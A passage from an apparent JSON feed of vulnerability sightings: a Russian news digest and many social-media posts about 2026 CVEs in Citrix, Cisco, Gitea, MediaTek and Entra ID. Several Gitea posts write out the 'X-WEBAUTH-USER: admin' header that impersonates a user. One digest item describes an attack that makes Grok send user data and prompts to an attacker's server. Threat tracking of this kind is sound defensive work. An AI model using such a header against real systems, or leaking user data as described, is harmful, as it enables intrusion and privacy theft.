\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-22T01:00:03.193372Z"}, {"uuid": "efb452e9-8cc7-4ac7-950f-020e093cbe7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfqzd2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:34.258114Z"}, {"uuid": "408ea272-7488-4914-afbb-b4b9f24503fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfryl2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:34.737668Z"}, {"uuid": "f080564d-8271-4628-b6b5-0439e9af7274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfrym2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:35.233035Z"}, {"uuid": "cf517eb0-fc37-4117-866e-7a9bb72da495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfryn2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:35.723609Z"}, {"uuid": "3193eb4a-e861-4e49-8dba-6e8ad0542c47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mq2qiha23s25", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure reconbee.com/threat-actor...\n\n#cyberthreats #Giteadockerflaw #probe #cybersecurity #cyberattack", "creation_timestamp": "2026-07-07T13:46:10.900691Z"}, {"uuid": "a2381c43-d962-4bec-b76a-627a4cd4d130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20461", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-10", "content": "", "creation_timestamp": "2026-07-07T16:45:03.340119Z"}, {"uuid": "b3fb6ae8-faea-4387-8589-ae3795304bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20459", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-10", "content": "", "creation_timestamp": "2026-07-07T16:45:05.514310Z"}, {"uuid": "eca7909e-86da-4291-99b4-a55a75b6472c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20457", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-10", "content": "", "creation_timestamp": "2026-07-07T16:45:07.668438Z"}, {"uuid": "8948ff00-a57b-4e36-b2e6-82ee292edf5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20458", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-10", "content": "", "creation_timestamp": "2026-07-07T16:45:09.852870Z"}, {"uuid": "00d887bd-78dc-4ad8-8532-877852debb11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20460", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-10", "content": "", "creation_timestamp": "2026-07-07T16:45:12.026647Z"}, {"uuid": "9e3c79cd-e3d2-4ffc-92eb-c3801c5cf498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mq34u5qnff2h", "content": "Gitea\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u5b9f\u969b\u306b\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u308b\u2015\u2015\u7814\u7a76\u8005\u3089\u304c\u8b66\u544a\n\n\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3089\u306f\u3001Gitea\u306e\u30ea\u30d0\u30fc\u30b9\u30d7\u30ed\u30ad\u30b7\u8a8d\u8a3c\u6a5f\u69cb\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u6709\u52b9\u306a\u30e6\u30fc\u30b6\u30fc\u540d\u3092\u4e00\u3064\u6307\u5b9a\u3059\u308b\u3060\u3051\u3067\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u304b\u3089\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306a\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306b\u4fb5\u5165\u3057\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306fGitea\u306e\u516c\u5f0fDocker\u30a4\u30e1\u30fc\u30b8\u306b\u56fa\u6709\u306e\u3082\u306e\u3067\u3001CVE-2026-20896\uff08CVSS\u30b9\u30b3\u30a29.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c", "creation_timestamp": "2026-07-07T17:27:24.624022Z"}, {"uuid": "baa84ab8-722c-4efa-bc78-050b6f41c975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116879880216382355", "content": "If you missed this yesterday, Cisco posted this advisory on a critical vulnerability that was first published in June.\nCRITICAL: CVE-2026-20181 and CVE-2026-20190: Cisco Identity Services Engine Remote Code Execution and Information Disclosure Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multi-G5WP8vv @TalosSecurity\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x #Cisco #infosec #vulnerability", "creation_timestamp": "2026-07-07T17:30:38.371142Z"}, {"uuid": "08492bc7-b539-4dc4-a659-394e5ba8bbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20190", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116879880216382355", "content": "If you missed this yesterday, Cisco posted this advisory on a critical vulnerability that was first published in June.\nCRITICAL: CVE-2026-20181 and CVE-2026-20190: Cisco Identity Services Engine Remote Code Execution and Information Disclosure Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-multi-G5WP8vv @TalosSecurity\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x #Cisco #infosec #vulnerability", "creation_timestamp": "2026-07-07T17:30:38.424671Z"}, {"uuid": "d6b43c8e-e4e1-4963-9c3c-4c189ad75d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116879910895582885", "content": "\ud83d\udea8 Critical Gitea flaw CVE-2026-20896 is being probed in the wild\nResearchers warn that attackers are targeting a critical Gitea Docker image flaw that can allow authentication bypass with a single HTTP header.\nThe issue affects official Gitea Docker images up to 1.26.2 when reverse-proxy authentication is enabled.\nThe vulnerable default trusted any source IP as a reverse proxy, meaning an attacker who could reach the container\u2019s HTTP port could spoof X-WEBAUTH-USER and impersonate a known or guessable user.\nGitea patched the issue in 1.26.3 / 1.26.4, and a public PoC/checker is now available.\nSysdig says the first in-the-wild probing was seen 13 days after disclosure.\nObserved IP: 159[.]26[.]98[.]241", "creation_timestamp": "2026-07-07T17:38:26.634669Z"}, {"uuid": "c2729baf-f62b-4f67-a0dd-d988d6ea66d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mq35lpurkk2a", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\n\nThreat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.\n\nThe vulnerability in question is CVE-2026-20896 (CVSS score\u2026\n#hackernews #news", "creation_timestamp": "2026-07-07T17:40:35.826520Z"}, {"uuid": "e3c5ce0c-5556-438d-a573-d08a23e6e2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/lasenal.bsky.social/post/3mq3aeydbk22p", "content": "Explotan una falla cr\u00edtica en Cisco Unified CM que lleva a root.\n\nCVE-2026-20230 (cr\u00edtica) deja a un atacante sin autenticar hacer SSRF en Cisco Unified CM y escribir archivos para llegar a root. Ya se explota; hay parche.\n\nLeer en Cisco\n\n#LaSe\u00f1alNews #Ciberseguridad #CyberSecurity #Cisco", "creation_timestamp": "2026-07-07T18:30:31.407600Z"}, {"uuid": "fe3e7441-4c6e-40a9-80ce-ab87a2dbf6e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3gkwd45g2c", "content": "CVE-2026-20896: Gitea's Critical Flaw Exposes 6,200 Instances to Compromise #Gitea #CVE2026 #CyberSecurity", "creation_timestamp": "2026-07-07T20:21:12.968218Z"}, {"uuid": "791859c9-90c6-454f-a412-945a966f25d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3gl63xzu2p", "content": "CVE-2026-20896: Gitea's Critical Flaw Demands Urgent Action from Users #CVE2026 #Gitea #CyberSecurity", "creation_timestamp": "2026-07-07T20:21:24.576939Z"}, {"uuid": "eb4e7947-3db2-4ddb-81d6-0ee5bce10dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3glbti7d26", "content": "CVE-2026-20896: Gitea\u2019s Worrying Flaw Exposes Repositories to Attackers #CVE2026 #Gitea #CyberSecurity", "creation_timestamp": "2026-07-07T20:21:26.120991Z"}, {"uuid": "167612d7-fbc9-4b4a-b58c-e636de1277d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3glfiwzg2c", "content": "CVE-2026-20896: Gitea's Critical Flaw Exposes Serious Governance Failures #CVE2026 #Gitea #Cybersecurity", "creation_timestamp": "2026-07-07T20:21:28.432106Z"}, {"uuid": "1acdf224-80db-408a-acb4-db09258a3082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3gljudwf2g", "content": "CVE-2026-20896: Gitea's Critical Flaw Shows Our Fragile Patch Culture #CVE202620896 #Gitea #Cybersecurity", "creation_timestamp": "2026-07-07T20:21:33.210293Z"}, {"uuid": "e48ed6b3-9208-4734-b3c0-c0830c91fc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mq3glndvbs25", "content": "CVE-2026-20896: Critical Gitea Vulnerability \u2014 Urgent Response or Overblown Risk? #CyberSecurity #Vulnerability #Gitea", "creation_timestamp": "2026-07-07T20:21:36.709508Z"}, {"uuid": "a756ef80-6338-453c-98b7-ed54a36987a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imnlegs2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:04.131298Z"}, {"uuid": "21f036c0-6555-4298-a3db-3ff3919d321e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imnljd22x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:05.475381Z"}, {"uuid": "3363e87e-724f-4a04-849b-e275e3db98c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imnljd32x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:06.828776Z"}, {"uuid": "5f4d49c9-9cde-4525-9a5c-4221e57d93b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imnlkcd2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:08.214679Z"}, {"uuid": "fe588c76-4744-4411-b254-bd5a7086bce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfsxv2f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:36.207223Z"}, {"uuid": "0ac63e86-42e3-4204-a666-46bcd4067a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imnlkce2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:09.852516Z"}, {"uuid": "f8df06a2-9388-4eac-8252-f3ebfd4c08ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/poxek.bsky.social/post/3mq3imox2uv2x", "content": "CVE-2026-20896 is a nasty Gitea Docker auth bypass: if reverse-proxy auth is enabled and the backend port is reachable, one HTTP header can impersonate a known user.\n\nX-WEBAUTH-USER: admin", "creation_timestamp": "2026-07-07T20:58:12.608226Z"}, {"uuid": "21c20d0b-30a1-402a-84d8-0e174d82f320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": 